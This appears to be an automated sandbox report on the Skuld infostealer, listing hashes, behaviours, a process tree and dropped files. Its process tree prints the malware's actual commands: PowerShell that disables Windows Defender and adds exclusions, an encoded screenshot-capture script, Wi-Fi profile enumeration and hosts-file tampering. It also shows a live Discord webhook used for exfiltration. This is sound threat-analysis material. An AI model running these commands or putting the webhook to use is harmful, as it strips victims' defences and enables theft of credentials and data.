Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-11-2024 02:12

General

  • Target

    2024-11-19_b065bf6ecfe1f0f716b1a46c5565c96d_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe

  • Size

    9.9MB

  • MD5

    b065bf6ecfe1f0f716b1a46c5565c96d

  • SHA1

    e91fef56aaa600a56c439b174628a3f926e6d38d

  • SHA256

    48d26910b230ceb19192a69df7e8cf4dd831e5d6bb7d0be8b6db6a14c91739ca

  • SHA512

    8464bc0b5d84dd526096bbe6f794e5b44c8952098fe5ca4b682a1f65549ead61eff68197c57583a1b87b1b3d66901db57bfab52b76557208f94be5a8efd1e4d8

  • SSDEEP

    98304:N2qWEbFvKAeA2ymztkhQ569iWxEjD8IFZmO+zUFb:N2oFvKAwahQ56gWSBFPb

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1304907140498198619/TN6d-HnHO3KMJ0z4aben6LTjOw8ziAjGiyJtXvXwZVujtxC-r_78u5mKllXdnRXlQK_y

Signatures

  • Skuld family
  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-11-19_b065bf6ecfe1f0f716b1a46c5565c96d_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-11-19_b065bf6ecfe1f0f716b1a46c5565c96d_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4500
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\2024-11-19_b065bf6ecfe1f0f716b1a46c5565c96d_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
      2⤵
      • Views/modifies file attributes
      PID:2616
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:5040
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\2024-11-19_b065bf6ecfe1f0f716b1a46c5565c96d_frostygoop_luca-stealer_ngrbot_poet-rat_snatch.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3732
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:2824
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4612
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      PID:4392
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:1640
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
        PID:784
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:3452
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:3316
      • C:\Windows\system32\netsh.exe
        netsh wlan show profiles
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:924
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1628
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\unpevnvx\unpevnvx.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3548
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB611.tmp" "c:\Users\Admin\AppData\Local\Temp\unpevnvx\CSCE76B79892EB940CFBA44E42DBAB33E.TMP"
            4⤵
              PID:4308

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        77d622bb1a5b250869a3238b9bc1402b

        SHA1

        d47f4003c2554b9dfc4c16f22460b331886b191b

        SHA256

        f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

        SHA512

        d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        6b646b00d42825309e86390ea8d2da4e

        SHA1

        aa872a61ea1751cf1fb65d04b26c182e8e57ad0e

        SHA256

        2177fd8bc255b3837ecb1c3ae5120d0be20b04798582e4b6a55e9fdbad4e5fc0

        SHA512

        4753505eda4e1dcb2ac483a1438ed43cf78da4831e7a572e22ce6adec640303671c0a3880069f617d415cef2b97801927abc5c5ad012ba520a24dbd000d2174a

      • C:\Users\Admin\AppData\Local\Temp\8Lkfht0Oaj\Display (1).png

        Filesize

        430KB

        MD5

        cc39d7c9eb65def1090490ce415f3889

        SHA1

        ee3bfb18ddd5fe948c3a1eb196ac42b165405f67

        SHA256

        da94d08eff30436267289f47e66392d0b95d3b1f046e07b05c996b6594268298

        SHA512

        a0974b694908301574256d2dd258e89334a0582d9fb9660de520f47b3c5f6606fffebf8298338a3e7f704f56540e8f7ad97288cd4d83c02e9d7efb26c59eb120

      • C:\Users\Admin\AppData\Local\Temp\RESB611.tmp

        Filesize

        1KB

        MD5

        5fffd8c887218f51620ec36fe4e2308e

        SHA1

        70bdf9aae074f0c3a12ddcb8054e6da5396d744a

        SHA256

        d0abf18bb0560903576fc84109c2374332fa81e4875288c72e303f6c8c28d35b

        SHA512

        d370762bf172daae81bf039d3a930deedcab30015336fb275a27ff168085737131dae8445b3ce6bdd5fd4ec8271ec23a6a9152e85a043aa1d6147b2c96f5b931

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xnrhuy1s.5xw.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\unpevnvx\unpevnvx.dll

        Filesize

        4KB

        MD5

        6503f5ba061de88fae9976a4ce10130e

        SHA1

        f882fcb8dd231a816cc4a2488b676a009c45dce2

        SHA256

        51283c5a2ace0618cc6ce4802d5b32a3974a2b56fabc06886cb9772df9115cc9

        SHA512

        10e97ede4028ba4c7f6e3d0c9cfc2782424b18f7298bc4d6662794d1eadd105c5e5c54b9ad1b0549901c71fe77f179647a3e866ba2777d5aa509194dbda563c1

      • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

        Filesize

        9.9MB

        MD5

        b065bf6ecfe1f0f716b1a46c5565c96d

        SHA1

        e91fef56aaa600a56c439b174628a3f926e6d38d

        SHA256

        48d26910b230ceb19192a69df7e8cf4dd831e5d6bb7d0be8b6db6a14c91739ca

        SHA512

        8464bc0b5d84dd526096bbe6f794e5b44c8952098fe5ca4b682a1f65549ead61eff68197c57583a1b87b1b3d66901db57bfab52b76557208f94be5a8efd1e4d8

      • C:\Windows\System32\drivers\etc\hosts

        Filesize

        2KB

        MD5

        6e2386469072b80f18d5722d07afdc0b

        SHA1

        032d13e364833d7276fcab8a5b2759e79182880f

        SHA256

        ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

        SHA512

        e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

      • \??\c:\Users\Admin\AppData\Local\Temp\unpevnvx\CSCE76B79892EB940CFBA44E42DBAB33E.TMP

        Filesize

        652B

        MD5

        8bcb425458a0dbf1233761b7d8a578e2

        SHA1

        5552bb02900b749ed2c576d528665dec4c73dd8f

        SHA256

        10670282b18fec6c7dcef08fd30d760519ec6000114c3e039ade9615795ee755

        SHA512

        1525a9efa20aac411af1b7483db35d1137bcdfc099043172f818e62098e25ebe6d0782a8a7dbc77238005e1acd01c47cfe373935f05394a3382deb33a12329c2

      • \??\c:\Users\Admin\AppData\Local\Temp\unpevnvx\unpevnvx.0.cs

        Filesize

        1004B

        MD5

        c76055a0388b713a1eabe16130684dc3

        SHA1

        ee11e84cf41d8a43340f7102e17660072906c402

        SHA256

        8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

        SHA512

        22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

      • \??\c:\Users\Admin\AppData\Local\Temp\unpevnvx\unpevnvx.cmdline

        Filesize

        607B

        MD5

        3cd708213477ef61e91fd88caefcb064

        SHA1

        510306020af8ff5c6f37bf27685d402d2fa07abb

        SHA256

        90cdad2906de69b5bac6b15c459461af47909e06686cec62f75498ef8c6de4d0

        SHA512

        248d41aafed20995d402b3d9d32cae3d1461fe33b851291c104f5ba041c21d4d4919b0499aff5b9039d00b5150033b765ea547b0bb35b6ef317fd9f80faedd28

      • memory/1628-63-0x00000212E6AA0000-0x00000212E6AA8000-memory.dmp

        Filesize

        32KB

      • memory/3732-22-0x00007FFA07BA0000-0x00007FFA08661000-memory.dmp

        Filesize

        10.8MB

      • memory/3732-17-0x00007FFA07BA0000-0x00007FFA08661000-memory.dmp

        Filesize

        10.8MB

      • memory/3732-16-0x00007FFA07BA0000-0x00007FFA08661000-memory.dmp

        Filesize

        10.8MB

      • memory/3732-5-0x000001A04BDF0000-0x000001A04BE12000-memory.dmp

        Filesize

        136KB

      • memory/3732-4-0x00007FFA07BA3000-0x00007FFA07BA5000-memory.dmp

        Filesize

        8KB